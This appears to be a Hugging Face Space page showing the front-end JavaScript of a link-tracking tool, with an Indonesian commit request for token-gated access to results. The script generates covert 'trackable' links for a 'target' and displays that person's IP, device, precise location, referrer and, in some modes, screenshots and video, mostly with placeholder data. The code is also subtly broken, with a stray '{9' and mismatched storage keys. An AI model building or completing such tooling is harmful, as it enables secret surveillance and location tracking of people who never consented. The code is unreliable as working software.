Spaces:
Running
Running
perbaiki lagi, terdapat folder db yang berisi daftar url dan kode token ,user mendapatkan kode token,saat user ingin melihat hasil lacakan harus memasukan token tersebut untuk mengakses hasil dari link yang sudah digenerate (apabila link yang digenerate tersebut sudah dibuka target dan target berhasil dilacak dan lain lain) lalu terdapat folder track yang merupakan folder root website tersebut
973b60b
verified
| document.addEventListener('DOMContentLoaded', function() { | |
| const trackForm = document.getElementById('trackForm'); | |
| const trackingLinksContainer = document.getElementById('trackingLinks'); | |
| const mediaContainer = document.getElementById('mediaContainer'); | |
| const screenshotPreview = document.getElementById('screenshotPreview'); | |
| const videoPreview = document.getElementById('videoPreview'); | |
| const trackingDetails = document.getElementById('trackingDetails'); | |
| // Load tracking links from localStorage | |
| loadTrackingLinks(); | |
| trackForm.addEventListener('submit', function(e) { | |
| e.preventDefault(); | |
| const targetUrl = document.getElementById('targetUrl').value; | |
| const trackingMode = document.getElementById('trackingMode').value; | |
| // Show loading state | |
| const submitButton = trackForm.querySelector('button[type="submit"]'); | |
| const originalButtonText = submitButton.innerHTML; | |
| submitButton.innerHTML = `<i data-feather="loader" class="loading-spinner mr-2"></i> Generating...`; | |
| feather.replace(); | |
| // Generate tracking token | |
| const trackingToken = generateToken(); | |
| // Create trackable URL | |
| const trackableUrl = `${window.location.origin}/track.html?token=${trackingToken}`; | |
| // Save tracking link | |
| saveTrackingLink({ | |
| token: trackingToken, | |
| originalUrl: targetUrl, | |
| trackableUrl: trackableUrl, | |
| mode: trackingMode, | |
| createdAt: new Date().toISOString() | |
| }); | |
| // Show success message with copy button | |
| setTimeout(() => { | |
| submitButton.innerHTML = originalButtonText; | |
| feather.replace(); | |
| alert(`Your trackable link has been created:\n\n${trackableUrl}\n\nIt has been copied to your clipboard.`); | |
| navigator.clipboard.writeText(trackableUrl); | |
| // Reset form | |
| trackForm.reset(); | |
| loadTrackingLinks(); | |
| }, 1500); | |
| }); | |
| function generateToken() { | |
| return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { | |
| const r = Math.random() * 16 | 0, v = c === 'x' ? r : (r & 0x3 | 0x8); | |
| return v.toString(16); | |
| }); | |
| } | |
| // Database simulation functions | |
| function saveToDB(data, collection) { | |
| // In a real app, this would be a server API call | |
| let db = JSON.parse(localStorage.getItem('db') || '{}'); | |
| if (!db[collection]) db[collection] = []; | |
| db[collection].push(data); | |
| localStorage.setItem('db', JSON.stringify(db)); | |
| return data; | |
| } | |
| function queryDB(collection, queryFn) { | |
| let db = JSON.parse(localStorage.getItem('db') || '{}'); | |
| if (!db[collection]) return []; | |
| return db[collection].filter(queryFn); | |
| } | |
| function saveTrackingLink(trackingData) { | |
| return saveToDB(trackingData, 'trackingLinks'); | |
| } | |
| function loadTrackingLinks() { | |
| return queryDB('trackingLinks', () => true); | |
| } | |
| function saveTrackingResult(resultData) { | |
| return saveToDB(resultData, 'trackingResults'); | |
| } | |
| function getTrackingResult(token) { | |
| return queryDB('trackingResults', r => r.token === token)[0]; | |
| } | |
| function loadUserTrackingLinks() { | |
| const trackingLinks = JSON.parse(localStorage.getItem('trackingLinks') || '[]'); | |
| trackingLinksContainer.innerHTML = ''; | |
| if (trackingLinks.length === 0) { | |
| trackingLinksContainer.innerHTML = '<p class="text-gray-500 text-sm">No tracking links yet</p>'; | |
| return; | |
| } | |
| trackingLinks.forEach(link => { | |
| const linkElement = document.createElement('div'); | |
| linkElement.className = 'tracking-link-item p-3 bg-white rounded-md flex justify-between items-center'; | |
| linkElement.innerHTML = ` | |
| <div class="truncate"> | |
| <div class="font-medium truncate">${link.originalUrl}</div> | |
| <div class="text-xs text-gray-500">${new Date(link.createdAt).toLocaleString()}</div> | |
| </div> | |
| <i data-feather="chevron-right" class="text-gray-400"></i> | |
| `; | |
| linkElement.addEventListener('click', () => { | |
| showTrackingDetails(link); | |
| }); | |
| trackingLinksContainer.appendChild(linkElement); | |
| }); | |
| feather.replace(); | |
| } | |
| function showTrackingDetails(link) { | |
| // Get actual tracking data from localStorage | |
| const trackingHistory = JSON.parse(localStorage.getItem('trackingHistory') || '[]'); | |
| const trackingData = trackingHistory.find(data => data.token === link.token); | |
| if (!trackingData) { | |
| alert('No tracking data available yet for this link'); | |
| return; | |
| } | |
| // Format tracking data for display | |
| const userData = trackingData.userData; | |
| const mockData = { | |
| ip: userData.ip, | |
| device: `${userData.device.platform} (${userData.device.userAgent})`, | |
| location: {9 | |
| lat: userData.location.latitude, | |
| lng: userData.location.longitude, | |
| city: userData.location.city, | |
| country: userData.location.country | |
| }, | |
| openedAt: trackingData.accessedAt, | |
| screenshot: link.mode !== 'basic' ? 'http://static.photos/technology/640x360/42' : null, | |
| video: link.mode === 'ninja' ? 'http://static.photos/technology/640x360/99' : null, | |
| browser: { | |
| language: userData.browser.language, | |
| referrer: userData.browser.referrer || 'Direct' | |
| }, | |
| screen: `${userData.device.screen.width}x${userData.device.screen.height}` | |
| }; | |
| // Update map | |
| const marker = new google.maps.Marker({ | |
| position: { lat: mockData.location.lat, lng: mockData.location.lng }, | |
| map: window.map, | |
| title: "Visitor Location" | |
| }); | |
| window.map.setCenter({ lat: mockData.location.lat, lng: mockData.location.lng }); | |
| window.map.setZoom(8); | |
| // Update tracking details with additional info | |
| document.getElementById('ipAddress').textContent = mockData.ip; | |
| document.getElementById('deviceInfo').textContent = mockData.device; | |
| document.getElementById('locationInfo').textContent = `${mockData.location.city}, ${mockData.location.country}`; | |
| document.getElementById('openTime').textContent = new Date(mockData.openedAt).toLocaleString(); | |
| // Add new info elements if they don't exist | |
| if (!document.getElementById('browserInfo')) { | |
| const statsContainer = document.getElementById('trackingStats'); | |
| statsContainer.innerHTML += ` | |
| <div><span class="font-medium">Browser:</span> <span id="browserInfo"></span></div> | |
| <div><span class="font-medium">Screen:</span> <span id="screenInfo"></span></div> | |
| <div><span class="font-medium">Referrer:</span> <span id="referrerInfo"></span></div> | |
| `; | |
| } | |
| document.getElementById('browserInfo').textContent = mockData.browser.language; | |
| document.getElementById('screenInfo').textContent = mockData.screen; | |
| document.getElementById('referrerInfo').textContent = mockData.browser.referrer; | |
| // Update media | |
| if (mockData.screenshot) { | |
| document.getElementById('screenshotImg').src = mockData.screenshot; | |
| screenshotPreview.classList.remove('hidden'); | |
| } else { | |
| screenshotPreview.classList.add('hidden'); | |
| } | |
| if (mockData.video) { | |
| document.getElementById('trackingVideo').src = mockData.video; | |
| videoPreview.classList.remove('hidden'); | |
| } else { | |
| videoPreview.classList.add('hidden'); | |
| } | |
| // Show containers | |
| mediaContainer.classList.remove('hidden'); | |
| trackingDetails.classList.remove('hidden'); | |
| } | |
| function getRandomInRange(from, to, fixed) { | |
| return parseFloat((Math.random() * (to - from) + from).toFixed(fixed)); | |
| } | |
| }); |